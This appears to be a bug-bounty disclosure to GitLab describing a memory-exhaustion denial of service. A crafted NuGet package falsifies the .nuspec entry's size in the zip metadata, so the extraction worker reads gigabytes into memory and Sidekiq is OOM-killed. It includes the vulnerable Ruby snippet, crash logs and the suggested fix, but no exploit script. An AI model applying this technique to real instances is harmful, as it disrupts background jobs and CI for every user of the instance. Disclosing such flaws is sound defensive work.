An attacker can get a sidekiq worker OOMKilled by a simple file upload. This will interrupt any background jobs running on that particular worker. Because the attack is very simple, the attacker can do this often to continuously cause crashes.

This can affect any user in the Gitlab instance because much of Gitlab's functionality relies on sidekiq jobs. For instance, this may cause a CI pipeline to fail and be left in a "pending" state for a long time, if a background job for that pipeline was running when sidekiq crashed.

**What is the current _bug_ behavior?**

Gitlab's Nuget extraction worker trusts the size indicated in the zip file metadata, but does not limit the actual decompressed file size.

Snippet from metadata_extraction_service.rb:

          def nuspec_file_content  
            with_zip_file do |zip_file|  
              entry = zip_file.glob('*.nuspec').first
    
              raise ExtractionError, 'nuspec file not found' unless entry  
              raise ExtractionError, 'nuspec file too big' if entry.size > MAX_FILE_SIZE
    
              entry.get_input_stream.read  
            end  
          end
    
          def with_zip_file(&block)  
            package_file.file.use_open_file do |open_file|  
              zip_file = Zip::File.new(open_file, false, true)  
              yield(zip_file)  
            end  
          end  

With the malicious file, entry.size > MAX_FILE_SIZE return false, because according to the zip file metadata, the nuspec file is only 255 bytes long.

On the next line, no length parameter is given to the read method call. Therefore the entire uncompressed file will be read into a memory buffer. With the example steps above, this would be 20 gigabytes, but the attacker can freely control this and make the file bigger.

**What is the expected _correct_ behavior?**

Gitlab should check the size in the metadata, and limit the amount of data read while unzipping to avoid allocating too much RAM.

**Relevant logs and/or screenshots**

Logs depend on environment. OOMKills are easiest to observe in Linux kernel logs (dmesg).

Here is an example from my own instance, after a Nuget extraction job is started, SidekiqDaemon::MemoryKiller soon notices that Sidekiq is using too much memory, and then Linux kills Sidekiq before the MemoryKiller has a chance to gracefully shut it down (to clarify, SidekiqDaemon::MemoryKiller does not have time to do anything here before Linux OOMKiller jumps in).

    {"severity":"INFO","time":"2022-09-29T06:12:36.295Z","retry":3,"queue":"default","version":0,"queue_namespace":"package_repositories","args":["1392"],"class":"Packages::Nuget::ExtractionWorker","jid":"30a8332b4d36ca1cb0170554","created_at":"2022-09-29T06:12:36.290Z","correlation_id":"01GE3Y080TVGVHFZ6089RPC8HZ","meta.caller_id":"PUT /api/:version/projects/:id/packages/nuget","meta.remote_ip":"172.18.0.1","meta.feature_category":"package_registry","meta.user":"root","meta.client_id":"user/1","meta.root_caller_id":"PUT /api/:version/projects/:id/packages/nuget","worker_data_consistency":"always","idempotency_key":"resque:gitlab:duplicate:default:a7e8f751bc2b7cb679eb178e069da05671c426d4a4374a47ab6762cb738db68e","size_limiter":"validated","enqueued_at":"2022-09-29T06:12:36.291Z","job_size_bytes":6,"pid":765,"message":"Packages::Nuget::ExtractionWorker JID-30a8332b4d36ca1cb0170554: start","job_status":"start","scheduling_latency_s":0.003906}
    
    {"severity":"WARN","time":"2022-09-29T06:12:48.992Z","class":"Gitlab::SidekiqDaemon::MemoryKiller","pid":765,"message":"Sidekiq worker RSS out of range","current_rss":2824928,"soft_limit_rss":2000000,"hard_limit_rss":274877906944,"reason":"current_rss(2824928) \u003e soft_limit_rss(2000000)","running_jobs":[{"jid":"30a8332b4d36ca1cb0170554","worker_class":"Packages::Nuget::ExtractionWorker"}],"retry":0}
    
    {"severity":"WARN","time":"2022-09-29T06:12:52.059Z","class":"Gitlab::SidekiqDaemon::MemoryKiller","pid":765,"message":"Sidekiq worker RSS out of range","current_rss":3650632,"soft_limit_rss":2000000,"hard_limit_rss":274877906944,"reason":"current_rss(3650632) \u003e soft_limit_rss(2000000)","running_jobs":[{"jid":"30a8332b4d36ca1cb0170554","worker_class":"Packages::Nuget::ExtractionWorker"}],"retry":0}
    
    [Thu Sep 29 09:12:52 2022] Out of memory: Killed process 6891 (bundle) total-vm:16266276kB, anon-rss:5457436kB, file-rss:4kB, shmem-rss:792kB, UID:998 pgtables:17812kB oom_score_adj:0
    
    {"severity":"INFO","time":"2022-09-29T06:12:59.788Z","message":"A worker terminated, shutting down the cluster"}  

**Results of GitLab environment info**

Docker installation:

    
    System information  
    System:  
    Proxy:          no  
    Current User:   git  
    Using RVM:      no  
    Ruby Version:   2.7.5p203  
    Gem Version:    3.1.6  
    Bundler Version:2.3.15  
    Rake Version:   13.0.6  
    Redis Version:  6.2.7  
    Sidekiq Version:6.4.2  
    Go Version:     unknown
    
    GitLab information  
    Version:        15.4.0-ee  
    Revision:       abbda55531f  
    Directory:      /opt/gitlab/embedded/service/gitlab-rails  
    DB Adapter:     PostgreSQL  
    DB Version:     13.6  
    URL:            http://gl.lkoskela.com:8929  
    HTTP Clone URL: http://gl.lkoskela.com:8929/some-group/some-project.git  
    SSH Clone URL:  ssh://git@gl.lkoskela.com:2224/some-group/some-project.git  
    Elasticsearch:  no  
    Geo:            no  
    Using LDAP:     no  
    Using Omniauth: yes  
    Omniauth Providers: 
    
    GitLab Shell  
    Version:        14.10.0  
    Repository storage paths:  
    - default:      /var/opt/gitlab/git-data/repositories  
    GitLab Shell path:              /opt/gitlab/embedded/service/gitlab-shell  

**Impact**

An attacker can get a sidekiq worker OOMKilled by a simple file upload. This will interrupt any background jobs running on that particular worker. Because the attack is very simple, the attacker can do this often to continuously cause crashes.

The severity of this depends on the sidekiq setup: with larger and more distributed instances it will of course be smaller as crashes are limited to only a subset of sidekiq instances. In small self-hosted environments though this can have a large impact on the functionality of Gitlab.

This can affect any user in the Gitlab instance because much of Gitlab's functionality relies on sidekiq jobs. Background job execution may get delayed or in some cases they may not get executed at all (if attacker can keep Sidekiq crashing continuously). For instance, this may cause a CI pipeline to fail and be left in a "pending" state for a long time, if a background job for that pipeline was running when sidekiq crashed.

**Attachments**

**Warning:** Attachments received through HackerOne, please exercise caution!

*   rewrite\_size.py

**How To Reproduce**

Please add reproducibility information to this section:

Tag

#linux